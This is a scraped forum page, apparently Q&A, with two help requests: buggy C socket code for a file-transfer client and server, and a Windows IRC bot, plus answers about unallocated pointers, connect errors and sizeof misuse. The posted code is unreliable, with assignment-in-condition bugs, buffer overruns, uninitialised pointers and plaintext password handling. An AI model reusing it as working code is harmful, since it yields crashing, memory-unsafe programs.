DIR *dp;
FILE *fc;
struct dirent *ep;
dp = opendir(file_path);
if(dp == NULL)
perror("Opening path");
else
chdir(file_path);
closedir(dp);
fc = fopen(file_name, "r");
if(fc == NULL)
{
perror("Opening file");
return(-1);
}
else {
return(0);
}
}
error_escape(char *problem)
{
char error_message[256];
strcpy(error_message, "! There Has Been An Error !");
strncat(error_message, problem, 173);
perror("Error: ");
log_file_ss(error_message);
timestamp_ss();
exit(-1);
}
void file_accept_ss(int sockfd, struct sockaddr_in *client_addr_ptr)
{
char client_request[512], username[256], file_content[8192], buf[8192];
char *client_r_w[26] = { "/server/received_files/r_w" };
char *client_r[24] = { "/server/received_files/r" };
char *client_n[24] = { "/server/received_files/n" };
char *search_string_read[6] = { "O_READ" };
char *search_string_w[14] = { "O_READANDWRITE" };
char *password_path[20] = { "/server/log/PASSWORD" };
char *mkdir[37] = { "/server/log/PASSWORD" };
char *ret;
char file_data, recv_i;
char password[256];
int change_dir_test, recv_check;
FILE *fn, *Ps;
recv_data(sockfd, username);
recv_data(sockfd, password);
strcat(*mkdir, username);
strcat(*mkdir, password);
fn = fopen(*mkdir, "a");
chdir(*password_path);
Ps = fopen(*mkdir, "a");
chdir("/server");
recv_i = fread(buf, 1, file_size(fn), fn);
recv_check = recv_data(sockfd, &recv_i);
if(recv_check = -1)
error_escape("! There Was An Error In The Receiving Of The File From The Client !");
fread(file_content, 8, file_size(fn), fn);
ret = strstr(file_content, *search_string_read);
if(ret = NULL)
{
change_dir_test = chdir(*client_n);
if(change_dir_test = -1)
error_escape("! There Was An Error In The Changing Of Directories !");
else
{
file_data = fread(buf, 1, file_size(Ps), Ps);
recv_data(sockfd, &file_data);
chdir(*client_n);
strcat(*client_n, username);
rename(username, *client_n);
}
}
if(ret = *search_string_read)
{
change_dir_test = chdir(*client_r);
if(change_dir_test = -1)
error_escape("! There Was An Error In The Changing Of Directories !");
else
{
chdir(*client_r);
rename(username, *client_r);
}
}
if(ret = *search_string_w)
{
change_dir_test = chdir(*client_r_w);
if(change_dir_test = -1)
error_escape("! There Was An Error In The Changing Of Directories !");
else
{
chdir(*client_r_w);
rename(username, *client_r_w);
}
}
log_file_ss("Client:");
log_file_ss(username);
timestamp_ss();
}
int main(void)
{
struct sockaddr_in server, client;
int sockfd, bind_test, listen_test, client_sockfd, sin_size;
sockfd = socket(PF_INET, SOCK_STREAM, 0);
if(sockfd == -1)
error_escape("Making Socket");
server.sin_family = AF_INET;
server.sin_port = htons(80);
server.sin_addr.s_addr = INADDR_ANY;
bind_test = bind(sockfd, (struct sockaddr *)&server, sizeof(server));
if(bind_test < 0)
error_escape("Binding Socket");
listen_test = listen(sockfd, 20);
if(listen_test < 0)
error_escape("Listening");
while(1)
{
sin_size = sizeof(struct sockaddr_in);
client_sockfd = accept(sockfd, (struct sockaddr *)&client, &sin_size);
file_accept_ss(client_sockfd, &client);
file_to_client_ss(client_sockfd, &client);
}
shutdown(client_sockfd, SHUT_RDWR);
return 0;
}
Client:
#include <stdio.h>
#include <string.h>
#include <dirent.h>
#include <sys/types.h>
#include <unistd.h>
#include <crypt.h>
#include <sys/socket.h>
#include <netinet/ip.h>
send_data(int sockfd, char info_to_send)
{
char eof_buffer[4] = "\EOF";
int sent_data, data_to_send;
data_to_send = strlen(&info_to_send);
while(data_to_send > 0)
{
sent_data = send(sockfd, &info_to_send, data_to_send, 0);
if(sent_data == -1)
perror("There was a problem in the sending of data!");
data_to_send -= sent_data;
info_to_send += sent_data;
}
send(sockfd, eof_buffer, 4, 0);
}
send_file_cs(int sockfd)
{
char file_buffer[4096], file_name[256];
char name, username, password;
char *search_st, file_data, *file_location;
int perm_choice, password_max = 20, ch;
off_t size_of_file;
FILE *fp;
printf("%s\n", "Please enter the path to file you would like to move to server:");
scanf("%s", &file_location);
ch = chdir(file_location);
if(ch == -1)
perror("! There Has Been An Error In The Directory Path !");
else
chdir(file_location);
printf("%s\n", "Now Enter The Name Of The File You Would Like To Transfer:");
printf("%s\n", "! Warning, The File May Not Exceed 4 kilobytes !");
scanf("%s", &name);
printf("%s", "What would you like the username for this file to be?");
name = *file_name;
size_of_file = file_size(fp);
if(size_of_file > 4096)
printf("! The File Is Greater Than 4 Kilobytes !");
fp = fopen(file_name, "r+");
printf("%s\n", "What Permissions Would You Like The File To Have?\n (1) For Other Clients To See The File\n (2) For Other CLients To See But Not Be Able To Access\n (3) Other Clients Cannot See Or Access The File");
scanf("%d", &perm_choice);
if(perm_choice > 3 || perm_choice < 1)
perror("! Incorrect Permissions !");
if(perm_choice = 1)
{
search_st = "O_READ";
fopen(file_name, "a");
fwrite(search_st, 1, strlen(search_st), fp);
}
if(perm_choice = 2)
{
search_st = "O_READANDWRITE";
fopen(file_name, "a");
fwrite(search_st, 1, strlen(search_st), fp);
}
if(perm_choice = 3)
{
search_st = "O_NOACCESS";
fopen(file_name, "a");
fwrite(search_st, 1, strlen(search_st), fp);
printf("%s", "Please enter a password");
scanf("%s", &password);
send_data(sockfd, password);
}
file_data = fread(file_buffer, 1, 4096, fp);
send_data(sockfd, file_data);
}
int recv_data(int sockfd, char *dest_buffer)
{
#define EoF "\EOF"
unsigned char *buffer;
int eof_match = 0, eof_size = 2;
buffer = dest_buffer;
while(recv(sockfd, buffer, 1, 0) == 1)
{
if(*buffer == EoF[eof_match])
{
eof_match++;
if(eof_match = eof_size)
{
*(buffer+1-eof_size) = '\0';
return strlen(dest_buffer);
}
else
{
eof_match = 0;
}
}
buffer++;
}
return 0;
}
int password_cs(int max_length, int sockfd)
{
char salt[] = { "ZjQXStSi" };
char ivec[] = { "7eNP3U1b" };
char des_enc[] = { "DES_ENCRYPT" };
char des_hw[] = { "DES_HW" };
char password;
char *ret, *ret2;
int l, i;
printf("%s", "Please set your password:");
scanf("%s", &password);
l = strlen(&password);
if(l > max_length)
printf("%s : %d", "Password must be less than", max_length);
i = cbc_crypt(salt, password, l, *des_enc | *des_hw, ivec);
if(i < 0)
perror("In erncryption");
send_data(sockfd, password);
return 0;
}
int file_size(FILE *stream)
{
off_t file_len;
fseek(stream, 0, SEEK_END);
file_len = ftell(stream);
fclose(stream);
return file_len;
}
int file_exist(char *file_path, char *file_name)
{
DIR *dp;
FILE *fc;
struct dirent *ep;
dp = opendir(file_path);
if(dp == NULL)
perror("Opening path");
else
chdir(file_path);
closedir(dp);
fc = fopen(file_name, "r");
if(fc == NULL)
{
perror("Opening file");
return(-1);
}
else {
return(0);
}
}
void client_request_file_cs(int sockfd)
{
char password_buf[128], file[4096], recv_file[256];
char *requires[16] = { "Requires" };
char *str, *restr, *file_contents, *name2, *path, *rebuf;
char file_req, password, name, username;
int test;
FILE *re;
printf("%s\n", "What file would you like from the server?");
scanf("%s", &file_req);
printf("%s", "What is the user name associated with the file?");
scanf("%s", &username);
send_data(sockfd, username);
printf("%s\n", "Where Would You Like The File To Be Put, Please Enter The Path:");
scanf("%s", &path);
test = chdir(path);
if(test == -1)
printf("%s\n", "Invalid Path");
printf("%s\n", "What Would You Like To Call The File?");
scanf("%s", &name);
name2 = &name;
re = fopen(name2, "w");
fread(file_contents, 1, file_size(re), re);
send_data(sockfd, file_req);
recv_data(sockfd, password_buf);
printf("%s\n", password_buf);
str = strstr(password_buf, *requires);
if(str == NULL)
recv_data(sockfd, file);
else
{
scanf("%s", &password);
send_data(sockfd, password);
}
recv_data(sockfd, rebuf);
fwrite(rebuf, 1, sizeof(rebuf), re);
fclose(re);
restr = strstr(file_contents, "error_");
if(restr != NULL)
printf("%s\n", re);
}
int main(void)
{
struct sockaddr_in client, server_addr;
int sockfd, connected;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(80);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd == -1)
printf("%s", "Error opening socket");
connected = connect(sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
if(connected == -1)
printf("%s", "Error binding socket");
send_file_cs(sockfd);
client_request_file_cs(sockfd);
shutdown(sockfd, SHUT_RDWR);
return 0;
}
Thank you in advance for any help.
Among other valid questions/points in the comments, memory allocation in your code may be contributing to your segmentation fault...
char *file_location (and others) are being used as if memory has been allocated.
Your use of the variable in scanf("%s", &file_location); before allocating memory invokes undefined behavior, and most likely will be (at least partially) responsible for your run-time errors.
add memory before the scanf statement. Here are two examples of how to do that:
1) Create heap memory (using [m][c]alloc):
char *file_location;
file_location = malloc(MAX_FILENAME_LEN);//or your systems value for max directory length
if(file_location)
{
scanf("%s", &file_location);
...
2) Use stack memory: (point your pointer to a place with memory)
char file_name[256];
char *file_location = file_name;
file_location = file_name;
scanf("%s", &file_location);
But the simplest way (if there is nothing constraining you to use a pointer) would be to just create the variable on the stack and use it in scanf(...):
char file_location[256];
scanf("%s", &file_location);
There are other variables (besides file_location) in your example code that need memory before use. Remember to free any variable with memory created on the heap when finished using.
bind error
There is no bind error here. The client doesn't do a bind at all. It gets an error connecting the socket, and then misleadingly prints 'bind error'.
The connect error is because you aren't initializing the address field of the target you're trying to connect to.
NB you don't need \EOF. recv() will return zero when the peer disconnects, which you aren't checking for. You aren't checking it for errors either. This is very strange code. – EJP 19 mins ago

Socket operation on nonsocket

I'm trying to receive data on a socket, and it keeps giving me this error, it's an irc bot, my code:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>
#include <time.h>
void remove_string(char * str, char c)
{
char *p1 = str;
while (*p1++) {
if(*p1 == c) {
char *p2 = p1;
while (*p2 && *p2 == c)
++p2;
if (*p2) {
*p1 = *p2;
*p2 = c;
} else {
*p1 = '\0';
break;
}
}
}
}
char *replace_string(char *str, char *orig, char *rep)
{
static char buffer[4096];
char *p;
if (!(p = strstr(str, orig)))
return str;
strncpy(buffer, str, p-str);
buffer[p-str] = '\0';
sprintf(buffer+(p-str), "%s%s", rep, p+strlen(orig));
return buffer;
}
int connect_socket(SOCKET *p, SOCKADDR_IN service)
{
if (connect(*p, (LPSOCKADDR)&service, sizeof(struct sockaddr)) == SOCKET_ERROR) {
fprintf(stderr, "Unable to connect, Error: %d\n", WSAGetLastError());
return -1;
}
return 0;
}
int send_socket(SOCKET *p, const char *buffer)
{
if (send(*p, buffer, strlen(buffer), 0) == SOCKET_ERROR) {
fprintf(stderr, "Unable to send data on the socket, Error: %d\n", WSAGetLastError());
return -1;
}
return 0;
}
int recv_socket(SOCKET *p, char *buffer)
{
if (recv(*p, buffer, sizeof(buffer), 0) == SOCKET_ERROR) {
fprintf(stderr, "Unable to receive data on the socket, Error: %d\n", WSAGetLastError());
return -1;
}
return 0;
}
int find_string(const char *str1, const char *str2)
{
int res = strstr(str1, str2) - str1;
return res < 0 ? -1 : res;
}
typedef struct IRC_DATA {
char *nick;
char *msg;
char *channel;
char *time;
} irc_data;
int main(int argc, char **argv)
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
return -1;
if (argc < 4) {
printf("Usage: %s <server> <port> <channel>", argv[0]);
return -1;
}
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET || sock == SOCKET_ERROR) {
fprintf(stderr, "Unable to initalize socket, Error: %d\n", WSAGetLastError());
return -1;
}
LPHOSTENT host = gethostbyname(argv[1]);
int port = atoi(argv[2]);
SOCKADDR_IN service;
service.sin_family = AF_INET;
service.sin_port = htons(port);
service.sin_addr = *((LPIN_ADDR)*host->h_addr_list);
int tries;
for (tries = 0; connect_socket(&sock, service) != 0; tries++) {
printf("Failing to connect.\n");
if (tries == 3) {
printf("Stopping reconnect...");
return -1;
}
}
printf("Connected\n");
char *_tmp = "USER CBot * * :CBot\r\n";
send_socket(&sock, _tmp);
_tmp = "NICK CBot\r\n";
send_socket(&sock, _tmp);
int joined = 0;
irc_data irc;
char buffer[512];
while (1) {
int p = recv_socket(&sock, buffer);
if (p == -1)
break;
char _time[50];
time_t rawtime;
struct tm* timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
strftime(_time, sizeof(_time), "[%H:%M:%S]", timeinfo);
strcpy(irc.time, _time);
if (strncmp(buffer, "PING", 4) == 0) {
printf("Received ping\n");
char pong[100];
if (sscanf(buffer, "PING :%s", pong) > 0) {
char buff[120];
sprintf(buff, "PONG :%s\r\n", pong);
send_socket(&sock, buff);
if (joined == 0) {
char join[120];
sprintf(join, "JOIN %s\r\n", argv[3]);
send_socket(&sock, join);
joined = 1;
}
}
} else if (strstr(buffer, "PRIVMSG") != NULL) {
remove_string(buffer, '\r\n');
int pos = find_string(buffer, " :");
int len = strlen(buffer)-pos;
char msg[len];
memcpy(msg, &buffer[pos], len);
irc.msg = msg;
printf("Msg: %s\n", irc.msg);
printf("%s %s\n", irc.time, buffer);
}
}
return 0;
}
quick observation, it's not a good idea to reuse _tmp like you have done. (create a _tmp[512] and snprintf your values into it)
1.- In the function recv_socket you are going to receive only 4 bytes (or maybe 8 bytes if you are compiling a 64bits code), because you are using sizeof and not the size of the buffer.
2.- What error are you getting ?.

Resources